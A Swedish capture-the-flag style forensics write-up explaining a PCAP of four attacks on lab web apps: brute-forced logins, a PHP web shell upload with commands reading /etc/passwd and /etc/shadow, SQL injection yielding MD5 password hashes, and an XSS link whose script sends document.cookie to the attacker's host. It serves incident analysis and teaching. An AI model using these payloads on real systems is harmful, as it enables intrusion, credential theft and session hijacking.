“Ett företag har upptäckt misstänkt aktivitet i sitt interna nät. IT-personalen har identifierat följande fyra tillfällen specifikt, och sparat det i medföljande PCAP. Hjälp företaget genom att förklara så noga du kan vad som hänt.
(742 315 bytes, sha256: c07403aff5bef7ee8e2d4ff9f7eea6b5a6cb75d1fb2ea8470832c563c34701ea)”
Frågor och svar#
- Kortfattat, vad har hänt?
En angripare har funnit fyra webbsidor, vardera med olika svagheter. Dessa svagheter har utnyttjats för att utvinna bland annat inloggningsuppgifter och teknisk information om webbservern i fråga.
- Vilken typ av svaghet har utnyttjats?
Fyra huvudsakliga svagheter har utnyttjats i varsitt angrepp:
(1) Brute Force-sårbarhet,
(2) orestriktiv filuppladdning,
(3) SQL-injicering, samt
(4) Cross Site Scripting (XSS).
- Vilken information har angriparen lyckats komma åt?
Användarnamn och lösenord till åtminstone fem konton (däribland en administratör) samt teknisk information om webbservern i fråga (vilket kan användas vid andra framtida angrepp). Dessutom har angriparen skaffat sig möjligheten att ta över andras webbsessioner, så att de i praktiken kan logga in som vilken användare som helst bara denna användare klickar på en specifik länk.
- Vilka kommandon har körts? Finns det några kommandon som inte lyckats?
Följande kommandon kördes av förövaren på webbservern:
id
pwd
ls -la
cat /etc/passwd
cat /etc/shadow
cat /etc/issue
cat /etc/*-release
uname -r
arch
Det enda kommandot som inte gav någon utdata var cat /etc/shadow, vilket inte
är förvånande då filen kräver root-privilegier för att läsas.
Sammanfattning av incidenten#
En angripare har funnit fyra webbsidor, vardera med olika svagheter.
(1) Brute Force-sårbarhet,
(2) orestriktiv filuppladdning,
(3) SQL-injicering, samt
(4) cross site scripting (XSS).
Dessa svagheter har utnyttjats för att utvinna bland annat inloggningsuppgifter till åtminstone fem konton (däribland en administratör) samt teknisk information om webbservern i fråga. Angriparen har dessutom skaffat sig möjligheten att ta över andras webbsessioner, så att de i praktiken kan logga in som vilken användare som helst bara denna användare klickar på en specifik länk.
Tekniskt detaljerad beskrivning#
(1) Brute Force-sårbarhet#
Se wireshark med displayfilter
(http.request or tls.handshake.type eq 1) and !(ssdp) and frame.time < "May 22, 2022 11:05:42".
Inloggningsformuläret på http://172.22.0.1:8080/applications/app1/ har inga
restriktioner vad gäller antal inloggningsförsök eller hur ofta dessa görs.
Angriparen har utnyttjat detta och testat 99 olika vanliga lösenord för vardera
av sju olika användarnamn i en Brute Force-attack.
Med wireshark och displayfiltret
tp.response and data-text-lines contains "Welcome" ses svaren som följer
lyckade inloggningsförsök. Sammantaget fick angriparen fyra korrekta lösenord:
| Användare | Lösenord |
|---|---|
| admin | password |
| kalle | junior |
| emma | loveyou |
| bo | loveyou |
(2) Orestriktiv filuppladdning#
Se wireshark med displayfilter
(http.request or tls.handshake.type eq 1) and !(ssdp) and frame.time > "May 22, 2022 11:05:42" and frame.time < "May 22, 2022 11:10:00".
Sidan http://172.22.0.1:8080/applications/app2/ tillåter uppladdning av filer
som sedan kan öppnas genom att besöka deras sökväg. Angriparen har utnyttjat
detta och laddat upp ett php-script till
http://172.22.0.1:8080/hackable/uploads/funny.php:
<?php system($_GET['cmd']); ?>
Detta s.k. Web Shell tillåter fjärrkörning av kod på webbservern. För att
exempelvis exekvera kommandot id har angriparen besökt
http://172.22.0.1:8080/hackable/uploads/funny.php?cmd=id, och sidan som
laddats har visat kommandots utdata. Samtliga körda kommandon och deras
respektive utdata följer nedan.
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/var/www/html/hackable/uploads
$ ls -la
total 16
drwxrwxr-x 1 www-data www-data 4096 May 22 11:08 .
drwxrwxr-x 1 www-data www-data 4096 Oct 12 2018 ..
-rw-r--r-- 1 www-data www-data 30 May 22 11:08 funny.php
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
$ cat /etc/shadow
$ cat /etc/issue
Debian GNU/Linux 9 \n \l
$ cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
VERSION_CODENAME=stretch
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
$ uname -r
5.11.0-46-generic
$ arch
x86_64
(3) SQL-injicering#
Se wireshark med displayfilter
(http.request or tls.handshake.type eq 1) and !(ssdp) and frame.time > "May 22, 2022 11:10:00" and frame.time < "May 22, 2022 11:15:00".
Sidan http://172.22.0.1:8080/applications/app3/ innehåller ett formulär där
användarens indata används för att söka i en databas. Indatan
saniteras/filtreras inte, vilket i praktiken tillåter en angripare att skriva
sina egna SQL-frågor och utvinna vilken information som helst från databasen.
Angriparen har utnyttjat detta och, efter att ha utforskat databasens struktur,
lyckats utvinna samtliga användarnamn och deras MD5-hashade lösenord. Trots att
lösenorden inte lagrades i klartext kan fem av dem fås genom att helt enkelt
söka på MD5-värdet i en sökmotor (en enkel
Rainbow table-attack).
Den utvunna informationen följer nedan.
| Användare | MD5 | Lösenord |
|---|---|---|
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
| kalle | b03e3fd2b3d22ff6df2796c412b09311 | junior |
| emma | f74a10e1d6b2f32a47b8bcb53dac5345 | loveyou |
| bo | f74a10e1d6b2f32a47b8bcb53dac5345 | loveyou |
| lina | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein |
| johan | b40d4c3784b7648b40c5d8fb33980fa3 | |
| sara | 5f57e5d49d71d239e54347eb2da0614c |
(4) XSS#
Se wireshark med displayfilter
(http.request or tls.handshake.type eq 1) and !(ssdp) and frame.time > "May 22, 2022 11:15:00".
Sidan http://172.22.0.1:8080/applications/app4/ tar det användaren skriver och
renderar det som en del av sidan, detta helt utan att senitera/filtrera indatan.
Användaren kan då exempelvis skriva ett script som, när det sedan renderas,
exekveras i den egna webbläsaren. Vidare kan indatan ges till sidan direkt i
besöksadressen istället för att skrivas manuellt i formulärsrutan. Sammantaget
kan man alltså skapa en besöksadress/länk till sidan med ett “inbakat” script
som kommer köras i webbläsaren på vem som helst som öppnar på länken.
Angriparen har utforskat denna svaghet och skapat länken
http://localhost:8080/applications/app4/?name=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2F172.22.0.1%3A8000%2Ftestfile1%3Foutput%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
som laddar och kör scriptet
<script>
new Image().src =
"http://172.22.0.1:8000/testfile1?output=" + document.cookie;
</script>
som en del av sidan.
Scriptet skickar användarens sessions-cookie till angriparens dator, vilken i praktiken kan använda för att ta över inloggade sessioner utan att behöva tillgång till varken användarnamn eller lösenord.
